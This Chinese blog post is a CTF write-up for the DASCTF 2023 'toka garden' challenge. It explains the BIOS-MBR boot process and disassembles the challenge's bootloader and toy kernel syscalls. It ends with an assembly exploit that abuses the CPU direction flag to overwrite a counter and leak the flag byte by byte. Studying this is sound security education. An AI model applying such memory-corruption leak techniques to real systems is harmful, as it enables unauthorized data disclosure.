dasctf2023 june toka garden & bios-mbr os 启动流程

发布时间 2023-08-20 14:40:49作者: giacomo捏

前言

被纯真拉来看题楽。

日常忏悔没有学好操作系统。借着 dasctf 6 toka garden 了解了下操作系统 bios-mbr 的启动流程。

bios-mbr 启动流程

启动(boot)一词来自于一句谚语 "pull oneself up by one's bootstraps" ("拽着鞋带把自己拉起来")这当然是不可能的事情。最早的时候,工程师们用它来比喻,计算机启动是一个很矛盾的过程:必须先运行程序,然后计算机才能启动,但是计算机不启动就无法运行程序

必须想尽各种办法,把一小段程序装进内存,然后计算机才能正常运行。所以,工程师们把这个过程叫做"拉鞋带",久而久之就简称为boot了。

参考文章 os 如何启动

计算机通电

计算机通电后,CPU中的执行地址会初始化为BIOS的地址,然后开始加载执行BIOS程序。

BIOS

全称 Basic Input/Output System,用于检查硬件,而跟操作系统关系不大,因此电脑可以适应多种操作系统。BIOS 程序存放在 ROM 中,它的启动地址也是根据标准制定的。

  • POST (poser-on self-test)检查硬件,如果有故障会发出 哔 的声音
  • 启动设备 会找到第一个设备的第一个扇区内容(MBR)加载到内存,并跳转执行

MBR

参考
启动设备的第一个扇区的内容称为主引导记录(MBR,Master Boot Record),由三个部分组成

  1. bootloader,主引导程序(446个字节)
  2. Dpt(Disk Partition table),硬盘分区表(64个字节)
  3. 扇区结尾标志(55aa)标志当前扇区是否合法,不合法(不是55AA),会跳回BIOS寻找下一个启动设备

BIOS 把主引导程序加载到了内存中的固定位置 0x7c00,这个有 历史遗留原因的。而主引导程序负责把扇区中的操作系统代码加载到内存,然后执行操作系统代码。对于不同的操作系统,这一加载过程可能会有所不同。

bootloader

如果启动过程足够简单,仅仅 MBR 的代码就足以加载 os,那么 MBR 中的代码就可以成为 bootloader。如果启动过程复杂,MBR 会调用一些启动管理器软件来加载 os

os

那就是 os 自己的事情了...吧

MBR 分析

以 dasctf 6 toka garden 为例,用到了一个简单的 bootloader,点击查看源码

实模式下

一开始是实模式,ida 启动后选择 16 bit mode 即可。由于加载到在 0x7c00 处,ida 内 rebase 。

读取程序

sub_7C00 proc near
xor     bx, bx
mov     ds, bx
mov     ss, bx
mov     bp, 7C0h
mov     dh, 0
mov     cx, 1

loc_7C0E:
add     cl, 1
jb      short loc_7C1F
add     bp, 20h ; ' '
mov     es, bp
assume es:nothing
mov     ax, 201h
int     13h             ; DISK - READ SECTORS INTO MEMORY
                        ; AL = number of sectors to read, CH = track, CL = sector
                        ; DH = head, DL = drive, ES:BX -> buffer to fill
                        ; Return: CF set on error, AH = status, AL = number of sectors read
jnb     short loc_7C0E

loc_7C1F:
mov     di, 800h
xor     al, al
lea     cx, ds:7400h
rep stosb

设置了一开始的寄存器之后,用到了一个 int 0x13 中断,AH = 2 表示读扇区,从第 CH 磁道的第 CL 个扇区读取 AL=1 个扇区到内存 es:bx 区域。由于 bx 为 0,根据实模式下寻址的规律,地址为 es<<4。

sector n -> 0x7c00 + 0x200*n

如果读取错误 CF = 1,jnb 不跳转。

接着使用 rep stosb 命令存储数据 (repeat store string byte)其中

- cx 指定次数 递减
- di 目的地址 递增(es:di)
- al 转移的数据

gdt

lgdt 指令设置了段表寄存器

cli
lgdt    fword ptr ds:qword_7CAB

分页机制设置

设置了几个关键的控制寄存器:

  • CR0 1000h

    表示页表的物理内存基址 0x1000

  • CR4 0A3h IA32_EFER.LME = 1

    CR4.PAE = 1 LME =1 CR4.LA57=0 开启 4 level paging

    PSE page size extension 4 mbytespages

    具体查看 4-32 Vol. 3A

这页表分析不来,我放弃了...嗯

mov     eax, 1000h # 页表物理内存基址 0x1000
mov     word ptr [eax], 2003h # PDE
mov     word ptr ds:1FF8h, 2003h # PTE
mov     cr3, eax
mov     word ptr ds:2000h, 3003h
mov     word ptr ds:2008h, 4003h
mov     word ptr ds:2FF0h, 3003h
mov     word ptr ds:2FF8h, 4003h
mov     di, 3000h
xor     ax, ax
mov     cx, 400h

loc_7C64:
mov     byte ptr [di], 83h
mov     [di+3], ax
add     di, 8
inc     ax
inc     ax
loop    loc_7C64

mov     eax, cr4
or      al, 0A3h 
mov     cr4, eax # PVI VME PGE PSE
mov     ecx, 0C0000080h # IA32_EFER
rdmsr
or      ax, 100h # LME IA32 mode enable
wrmsr

开启保护模式

设置 cr0 控制寄存器,CR0.PG = 1 开启分页,地址不再直接表示物理地址而是逻辑地址。CR0.PE = 1 切换到保护模式

mov     eax, 80000011h
mov     cr0, eax # PG ET PE
jmp     far ptr unk_7D14

保护模式

   0x7c94:      mov    esi,0x7e00
   0x7c99:      mov    rdi,0xffffffff80200000
   0x7ca0:      lods   rax,QWORD PTR ds:[rsi]
   0x7ca2:      stos   QWORD PTR es:[rdi],rax # 移动 8 byte
   0x7ca4:      push   rdi
   0x7ca5:      mov    rcx,rax
=> 0x7ca8:      rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] # 每次移动 1 byte
   0x7caa:      ret

lods stos movs 会自动增减 rdi rsi 寄存器的值,增减多少由指令决定

ret 跳转到内核态,更新了页表、段表,也清空了低 0x2000 的内存

 ► 0x7caa                ret    <0xffffffff80200008>
    ↓
   0xffffffff80200008    or     byte ptr [0x1000], 4
   0xffffffff80200010    or     byte ptr [0x2000], 4
   0xffffffff80200018    mov    edi, 0x5000
   0xffffffff8020001d    mov    eax, 0x8007
   0xffffffff80200022    stosq  qword ptr [rdi], rax
   0xffffffff80200024    mov    eax, 0x9007
   0xffffffff80200029    stosq  qword ptr [rdi], rax
   0xffffffff8020002b    mov    ecx, 0x1fe
   0xffffffff80200030    mov    eax, 3
   0xffffffff80200035:  stos   QWORD PTR es:[rdi],rax
   0xffffffff80200037:  add    rax,0x1000
   0xffffffff8020003d:  loop   0xffffffff80200035
   0xffffffff8020003f:  mov    DWORD PTR ds:0x3000,0x5007
   0xffffffff8020004a:  mov    rax,cr3
   0xffffffff8020004d:  mov    cr3,rax
   0xffffffff80200050:  xor    rdi,rdi
   0xffffffff80200053:  mov    ecx,0x2000
   0xffffffff80200058:  xor    al,al
   0xffffffff8020005a:  rep stos BYTE PTR es:[rdi],al
   0xffffffff8020005c:  lgdt   [rip+0xbd]  
   0xffffffff80200063:  mov    ax,0x10
   0xffffffff80200067:  mov    ss,eax
   0xffffffff80200069:  mov    ds,eax
   0xffffffff8020006b:  mov    fs,eax
   0xffffffff8020006d:  mov    es,eax
   0xffffffff8020006f:  mov    gs,eax
   0xffffffff80200071:  push   0x8
   0xffffffff80200073:  push   0xffffffff8020007a
   0xffffffff80200078:  retfq

idt

跳转,加载 idt

lidt   [rip+0x71f]        # 加载 idt

此时的 qemu monitor 看到的 idtr 是 IDT= ffffffff80200790 00000010

0xffffffff80200790:     0x8020ee010008012a

segment sector: 8 # 中断程序所在的段选择符
offset: 0x8020012a
p: 1 # 不在内存 emm
DPL: 3

对应的段为
8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable

随后

mov    ax,0x28
ltr    ax            # 任务寄存器 TR

切换 tr 寄存器变成以下内容

TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl

把文件内容写入了 0x0-0x1000 的地方(不懂端口怎么来的,猜测应该是 IO 的默认端口吧?)

xor    rdi,rdi
mov    ecx,0x1000
mov    dx,0x3fd
in     al,dx   # 从 0x3fd 端口读取 1 字节到 al
test   al,0x1   # 0xffffffff80200095 
je     0xffffffff80200090 
sub    dl,0x5
in     al,dx
stos   BYTE PTR es:[rdi],al
loop   0xffffffff80200090

然后存储完成后长这样

pwndbg> x/20gx 0
0x0:    0x00000000cdc03148      0x0000000000000000

用户态

回到用户态 cs=0x1b ss=0x23 sp=0x2000 ip=0

mov    ax,0x23
mov    ds,eax
mov    es,eax
mov    fs,eax
mov    gs,eax
xor    rax,rax
xor    rbx,rbx
xor    rcx,rcx
xor    rdx,rdx
xor    rsi,rsi
xor    rdi,rdi
xor    rbp,rbp
xor    r8,r8
xor    r9,r9
xor    r10,r10
xor    r11,r11
xor    r12,r12
xor    r13,r13
xor    r14,r14
xor    r15,r15
push   0x23
push   0x2000
push   0x2
push   0x1b
push   0x0
iretq

回到 0x0 地址

xor    rax, rax
int    0

这个中断根据 rax 的值 switch jump

   0xffffffff8020012a    cmp    rax, 8
 ► 0xffffffff8020012e  ✔ jb     0xffffffff80200139            <0xffffffff80200139>
    ↓
   0xffffffff80200139    jmp    qword ptr [rax*8 - 0x7fdffec0]

可以跳转以下位置,实现了 8 个系统调用

pwndbg> x/8gx 0 - 0x7fdffec0
0xffffffff80200140:     0xffffffff80200180      0xffffffff80200184
0xffffffff80200150:     0xffffffff802001a9      0xffffffff802001c0
0xffffffff80200160:     0xffffffff80200219      0xffffffff8020026e
0xffffffff80200170:     0xffffffff802002b4      0xffffffff802002e8

各个系统调用如下,

0: 退出
1:从 rsi (<2000h) 的位置开始输出
2:继续读输入 从 0x1000 往后
3:把指定位置(rdi)的(rcx)个数据写入0xffffffff80200454+counter ,然后 rcx 加到 counter
rdi + rcx < 2000h, 
rdx + rcx < 100 (计数器)
4:把 0xffffffff80200454 的数据写 counter 个到 0xffffffff80200554 并清空 0xffffffff80200554和counter
5:把 0FFFFFFFF80200554h 的数据写 rcx 个到 0xffffffff80200454+counter
6:把 FFFFFFFF80200754 的东西输出 0x2f 个
7:清空 0FFFFFFFF80200554 之后 0x100 的内容

exp

经过分析分析内存是这样的

image-20230820140137280

主要利用了 cld std 指令可以改变 Direction Flag,控制读取方向的特性。通过覆盖位于 0xFFFFFFFF8020044C 的计数器,把 flag 的一个字母覆盖到位于 上。那么要如何泄露这个数字呢?当 rax = 3 时中断,可以把计数器的值留在寄存器 rdx 中,rax = 3 时的汇编如下:

pwndbg> x/20i 0xffffffff802001d8
   0xffffffff802001d8:  mov    rbx,QWORD PTR ds:0xffffffff8020044c
   0xffffffff802001e0:  movzx  rdx,bl
   0xffffffff802001e4:  add    rdx,rcx
   0xffffffff802001e7:  jb     0xffffffff80200210
   0xffffffff802001e9:  cmp    rdx,0x100
   0xffffffff802001f0:  ja     0xffffffff80200210
   0xffffffff802001f2:  sub    rdx,rcx

我们把 rdx 的值移动到小于 0x2000 处的一个地址调用 rax=1 的中断即可输出 rdi 位置的值,这样就可以完成一个字母的输出了,那如何一次性输出全部的 flag 呢?

由于计数器被 flag 覆盖,需要再次控制计数器,我采用的方式是从 flag 的最后一位往前泄露,令 rax = 4 中断(正向移动把 0xffffffff80200454 的数据写 [0FFFFFFFF8020044C] 个到 0xffffffff80200554 并清空 0xffffffff80200454,并清零计数器)就能够,从 flag 的最后一位往前泄露的原因是不要清空或者覆盖未输出的 flag。

image-20230820140335023

总的来说 exp 如下

BITS 64

;set counter
mov rdi, 0h
mov rcx, 50h
mov rax, 3h
int 0h

;mov flag to buffer 2, clear counter
std
mov rax, 4h 
int 0h
xor r9, r9

leak:
	inc r9
	
	;set counter
	mov rdi, 0h
	mov rcx, r9
	mov rax, 3h
	cld
	int 0h

	;mov flag from buffer2 to buffer1
	mov rcx, 50h
	mov rax, 5h 
	std
	int 0h

	;leak a letter
	mov rcx, 1
	mov rdi, 0h
	mov rax, 3h 
	int 0h
	mov rcx, 0
	mov [rcx], rdx
	mov r10, 0x100

	;out a letter
	mov rsi, 0h
	mov rax, 1h
	int 0

	;clear couner
	cld
	mov rax, 4h 
	int 0h

;quit
cmp r9, 0x42
jnz leak
mov rax,0 
int 0

把输出逆向一下即可:

image-20230820140526308